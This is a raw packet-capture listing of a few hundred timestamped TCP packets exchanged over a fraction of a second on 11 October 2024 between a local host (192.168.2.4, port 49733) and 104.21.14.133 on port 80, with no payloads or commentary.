Oct 11, 2024 04:10:43.494930029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494946003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494978905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494995117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495012999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495024920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495048046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495060921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495080948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495095968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495116949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495126009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495151043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495167017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495186090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495196104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495218039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495234013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495251894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495265007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495285034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495297909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495318890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495338917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495352030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495383024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495409012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495426893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495446920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495480061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495496988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495512009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495522022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495544910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495568037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495582104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495611906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495615959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495635033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495650053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495656967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495685101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495699883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495718002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495734930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495750904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495765924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495784044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495788097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495820045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495836973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495853901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495887041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.495903015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.495935917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578191996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578232050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578249931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578264952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578282118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578296900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578315020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578372955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578373909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578373909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578373909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578373909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578373909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578373909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578690052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578708887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578730106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.578751087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578751087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578774929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.578927040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579078913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579092026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579174042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579179049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579191923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579207897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579232931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579232931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579272985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579314947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579332113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579355955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579375982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579375982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579421997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579641104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579700947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579762936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579793930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579829931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579852104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579879999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579906940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.579950094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.579977036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580008984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580029964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580054998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580096006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580138922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580167055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580200911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580238104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580271959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580295086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580312014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580363989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580380917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580421925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580436945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580476999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580503941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580537081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580558062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580586910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580609083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580663919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580683947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580712080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580737114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580770016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580815077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580842018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580884933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580912113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580951929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.580966949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.580990076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581037998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581079960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581100941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581144094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581192970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581224918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581253052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581280947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581311941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581361055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581402063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581418037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581446886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581469059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581513882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581541061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581573009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581593037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581624031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581665993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581679106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581707001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581738949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581753969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581769943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581784964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581794977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581806898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581825018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581832886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581856012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581871986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581886053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581896067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581909895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581923008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581933975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581945896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581957102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581967115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.581979990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.581989050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582009077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582020044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582042933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582060099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582073927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582083941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582102060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582109928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582120895 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582133055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582144976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582158089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582166910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582187891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582195044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582220078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582231998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582242012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582256079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582264900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582283020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582289934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582298040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582308054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582318068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582329988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582341909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582361937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582370996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582386017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582405090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582415104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582415104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582437038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582444906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582458019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582469940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582482100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582490921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582514048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582523108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582539082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582554102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582564116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582572937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582586050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582596064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582608938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582619905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582632065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582643032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582655907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582664967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582680941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582691908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582705021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582719088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582735062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582743883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582757950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582767010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582781076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582791090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582802057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582814932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582828999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582840919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582851887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582869053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582879066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582879066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582900047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582910061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582922935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582931995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582946062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582954884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.582967043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.582976103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583002090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583012104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583025932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583045959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583053112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583061934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583076954 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583085060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583100080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583117962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583125114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583132982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583149910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583157063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583168983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.583189964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.583199978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.666711092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.666757107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.666791916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.666826963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.666884899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.666920900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.666945934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.666966915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.666997910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667049885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667069912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667092085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667120934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667174101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667212009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667257071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667284012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667315960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667340040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667371988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667427063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667470932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667499065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667531013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667552948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667579889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667608023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667639971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667663097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667690039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667715073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667756081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667773008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667826891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667859077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667881012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667907953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.667932987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.667983055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668004036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668026924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668056011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668100119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668114901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668169022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668200970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668222904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668251991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668275118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668317080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668349981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668400049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668421984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668447971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668477058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668535948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668550968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668576956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.668617010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668658018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.668670893 CEST	49733	80	192.168.2.4	104.21.14.133
